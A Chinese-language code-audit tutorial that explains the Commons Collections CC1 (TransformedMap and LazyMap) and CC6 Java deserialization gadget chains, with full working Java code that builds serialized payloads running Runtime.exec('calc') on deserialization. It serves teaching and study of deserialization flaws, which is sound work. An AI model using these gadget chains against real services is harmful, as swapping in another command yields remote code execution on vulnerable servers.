java代码审计之CC1与CC6

xiao1star2026-01-12文章来源:SecHub网络安全社区


环境准备

图片.png

因为有些链子对common-collections的版本有要求因此使用的是3.2.1

1.为了方便代码的调试对jdk中的依赖进行更改,访问如下页面下载openjdk的东西

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

图片.png

将下载之后的文件打开将其中的sun包复制下来,放到自己使用的jdk的src文件中

图片.png

之后再将自己的jdk的src文件导入到idea中

图片.png

这样就可以动调jdk中的代码了

CC1链

环境

  • CommonsCollections <= 3.2.1
  • java < 8u71(我是用的是8u66)

形成原理

InvokerTransformer中的tranform方法的通过反射导致的任意参数执行

  1. 调用InvokerTransformer的构造方法,实例化一个InvokerTransformer对象,methodName–要执行的方法名,paramTypes–方法名的参数列表,args–传入的参数
  2. 实例化对象之后,调用其的transform方法,其参数指的是类

图片.png

如下是利用一个transform弹出一个计算器

public class CC1 implements Serializable
{
    public static void main( String[] args ) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);}
}

利用TransformedMap实现

1.进入TransformedMap

通过查找谁实现了trandform方法,发现了TransformedMap类中的checkSetValue()调用了该方法

图片.png

查找该类的构造方法,发现还是protected修饰,无法直接实例化该对象

图片.png

可以通过找该类中的由public修饰的方法,同时调用了该构造方法,发现有一个decorate方法会创建一个TransformedMap对象

图片.png

现在我们重新构造这个链,也就是decorate方法实例化一个TransformedMap对象,其中valueTransformer的值应该是InvokerTransformer,接着调用其checkSetValue()方法调用InvokerTransformer.transform方法

public class CC1 implements Serializable
{
    public static void main( String[] args ) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//初始化InvokerTransformer对象,参数就是我们要执行的恶意攻击的方法名、参数类型、参数
        HashMap<Object,Object> map=new HashMap<>();//生成一个hashmap满足于下面的实例化TransformedMap的参数需求
        TransformedMap transformerMap=(TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);//实例化TransformedMap
        Class transformedMapClass=TransformedMap.class;//因为checkSetValue是由protected修饰使用反射来实现
        Method checkSetValuemethod =transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
        checkSetValuemethod.setAccessible(true);
        checkSetValuemethod.invoke(transformedMapClass,runtime);}
        }
        }

图片.png

目前的链子到了checkSetvalue()方法中,我们接着顺腾摸瓜查看哪个地方又调用了checkSetValue方法

2.进入AbstractInputCheckedMapDecorator类

在AbstractInputCheckedMapDecorator中内部类MapEntry有一个setValue方法调用了checkSetValue方法,同时是parent.checkSetValue(value).

setValue() **实际上就是在 Map 中对一组 entry(键值对)**进行 setValue() 操作。

图片.png

我们逐一跟进看一下

图片.png

也就是说当我们使用decorate方法实例化一个transformedMap后,对该map进行遍历时会调用setValue方法,setValue方法中的值填写为要实现的类对象(runtime)

public class CC1 implements Serializable
{
    public static void main( String[] args ) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> transformerMap=(TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry<Object,Object> entry:transformerMap.entrySet()){
            entry.setValue(runtime);
        }

图片.png

目前的整体流程

图片.png

3.进入AnnotationInvocationHandler

在AnnotationInvocationHandler类中的readObject类中调用了Setvalue()方法,我们注意到类的名字为 AnnotationInvocationHandlerInvocationHandler 这个后缀,我在动态代理里面提到过,是用做动态代理中间处理,因为它继承了 InvocationHandler 接口。

图片.png

仔细看是上面的memberValue调用了setValue方法,我们查看其构造方法发现memberValue是一个Map对象,那我们把transformerMap传给它即可,还有一个type其实就是我们的伪代码(@Override)

图片.png

同时要注意的是AnnotationInvocationHandler的构造方法是默认的default修饰的,也就是只能在该类中的包底下执行,需要进行反射。

注意:直接在测试类中无法直接查到AnnotationInvocationHandler需要使用Class.forName方法写上包名来获取Class对象

图片.png

public class CC1 implements Serializable
{
    public static void main( String[] args ) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","key");
        Map<Object,Object> transformerMap=(TransformedMap)TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry<Object,Object> entry:transformerMap.entrySet()){
            entry.setValue(runtime);
        }
        
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射处理
        Constructor annotationinvocationHandlerContructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationHandlerContructor.setAccessible(true);
        Object o=annotationinvocationHandlerContructor.newInstance(Override.class,transformerMap);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
    public static Object unserialize(String name) throws Exception {
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream(name));
        Object obj=oss.readObject();
        return obj;
    }
}

但是要注意的是还有几个问题未解决

  1. Runtime不能反序列化

图片.png

  1. 同时在AnnotationInvocationHandler中还有两个if判断才能到Setvalue

图片.png

3.memberValue.setValue()中的内容是我们无法控制的

图片.png

解决问题1

要知道Runtime的class是可以序列化的,我们可以利用transformer来序列化

有一个ChainedTransformer类的transform方法,可以是实现前一个结果的 值当作后一个的object参数的值

图片.png

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null} ),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

解决问题2

分析如下代码发现我们需要找一个有成员方法的伪代码(注释),同时数组的key值要与其成员名字一致

其次memberType.isInstance(value) 是一个用于检查 value 是否是 memberType 类的实例或该类的任何子类的实例的方法,那肯定不是的所以第二个过去

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取注释中的成员方法

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();//获取membervalye中的key值
            Class<?> memberType = memberTypes.get(name);//在注解的成员方法名中查找这个key
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }

我们将代码修改如下

Target注解类,该类中有一个成员方法为value,可以通过这个来实现注释中的成员方法名与membervalye中的key值

图片.png

        HashMap<Object,Object> hashMap = new HashMap<>();
		map.put("value","key");//将其key值赋值为value
        Map<Object,Object> transformerMap=(TransformedMap) TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry<Object,Object> entry:transformerMap.entrySet()){
            entry.setValue(runtime);
        }
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationinvocationHandlerContructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationinvocationHandlerContructor.setAccessible(true);
        Object o=annotationinvocationHandlerContructor.newInstance(Target.class,transformerMap);

解决问题3

图片.png

由于memberValue.setValue的参数值是确定的导致无法走到想要的transform下

我们有一个ConstantTransformer类其中他的transform是返回传入值的本身,加一个new ConstantTransformer(Runtime.class)即可

图片.png

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//用于最后确定transform(value)值是Runtime.class
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null} ),//下面三行就是利用反射,使其能够反序列化
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

根据上述的内容我们再调试一下

ChainedTransformer类中的第122行打上断点

图片.png

开始调试,发现但i=0时object参数值是AnnotationTypeMismatchExceptionProxy类,也就是AnnotationInvocationHandler中setValue方法给定的值

图片.png

图片.png

当i=1时,object值就变为了class java.lang.Runtime

图片.png

这是因为CC链中new ConstantTransformer(Runtime.class),调用ConstantTransformertransform方法会返回传参值本身也就是untime.class

图片.png

图片.png

利用链的整体过程
图片.png

最终结果

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

/**
 * Hello world!
 *
 */
public class App implements Serializable
{
    public static void main( String[] args ) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//用于最后确定transform(value)值是Runtime.class
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null} ),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","key");
        Map<Object,Object> transformerMap= TransformedMap.decorate(map,null,chainedTransformer);//用于实例化TansformedMap对象

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhandlerconstruct=c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationhandlerconstruct.setAccessible(true);
        Object o=annotationInvocationhandlerconstruct.newInstance(Target.class,transformerMap);//实例化一个AnnotationInvocationHandler会默认调用setValue方法,进而调用checkSetValue(),进而调用transform方法

        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
    public static Object unserialize(String name) throws Exception {
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream(name));
        Object obj=oss.readObject();
        return obj;
    }
}

利用LazyMap的get()实现

与上面不同的是在AnnotationInvocationHandler中的invoke方法中调用了get方法,这个涉及到了动态代理

在LazyMap中会对其factory调用transfrom()方法

图片.png

AnnotationInvocationHandler中的invoke方法中调用了get方法,可以考虑使用动态代理

图片.png

只用动态代理无法触发反序列化,我们需要readObject作为入口,发现InvocationHandler中有一个entryset()其方法没有参数,

memberValues 的值改为代理对象,当反序列化时会自动调用AnnotationInvocationHandler中重写的readObject方法,该方法中会调用memberValues.entrySet(),那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

图片.png

我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get

图片.png

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1LM {
    public CC1LM() throws ClassNotFoundException, NoSuchMethodException {
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hashMap = new HashMap<>();
    Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
    declaredConstructor.setAccessible(true);
    InvocationHandler invocationHandler = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorateMap);//实例化AnnotationInvocationHandler对象,

        //下面是一个动态代理
    Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.getSystemClassLoader() , new Class[]{Map.class}, invocationHandler);
        
    invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

    serialize(invocationHandler);
    unserialize("ser.bin");
}
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
    public static Object unserialize(String name) throws Exception {
        ObjectInputStream oss=new ObjectInputStream(new FileInputStream(name));
        Object obj=oss.readObject();
        return obj;
    }
}

CC6

好处:不会限制jdk版本,任何时候都可以使用

下图是LazyMapget方法

图片.png

链的形成

HashMap.readobject->TiedMapEntry.hashCode->LazyMap.get->ChainedTransformer.transform


1.HashMap中的readObject方法中对key用到了hash方法,在hash中用到了hashcode方法

图片.png

图片.png

2.TiedMapEntry类中用到了hashCode()方法,里面的getValue方法会调用get方法

图片.png

图片.png

TiedMapEntry的map值变为LazyMap对象即可,让HashMap中的key值为TiedMapEntry对象。

要注意HashMap中的put方法会自动调用hash()方法,因此为了防止put方法调用hash方法进而调用hashCode()方法就需要在put时先设置一个没有意义的值,之后使用反射来需改key

图片.png

完整的链

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();

        Map decorateMap = LazyMap.decorate(hashMap,new ConstantTransformer(1) );//本应是(hashMap, chainedTransformer)但是为了避免put方法调用hash方法
        TiedMapEntry tiedMapEntry=new TiedMapEntry(decorateMap, "aaa");
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry, "bbbb");
        
		 decorateMap.remove("aaa");
        //将LazyMap的factory修改为chainedTransformer
        Class c=LazyMap.class;
        Field Field = c.getDeclaredField("factory");
        Field.setAccessible(true);
        Field.set(decorateMap, chainedTransformer);

        serialize(map2);
        unserialize("CC6.ser");
    }

    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC6.ser"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String name)throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(name));
        return ois.readObject();
    }
}

问题为什么要使用

 decorateMap.remove("aaa");

在Lazymap中:

序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

图片.png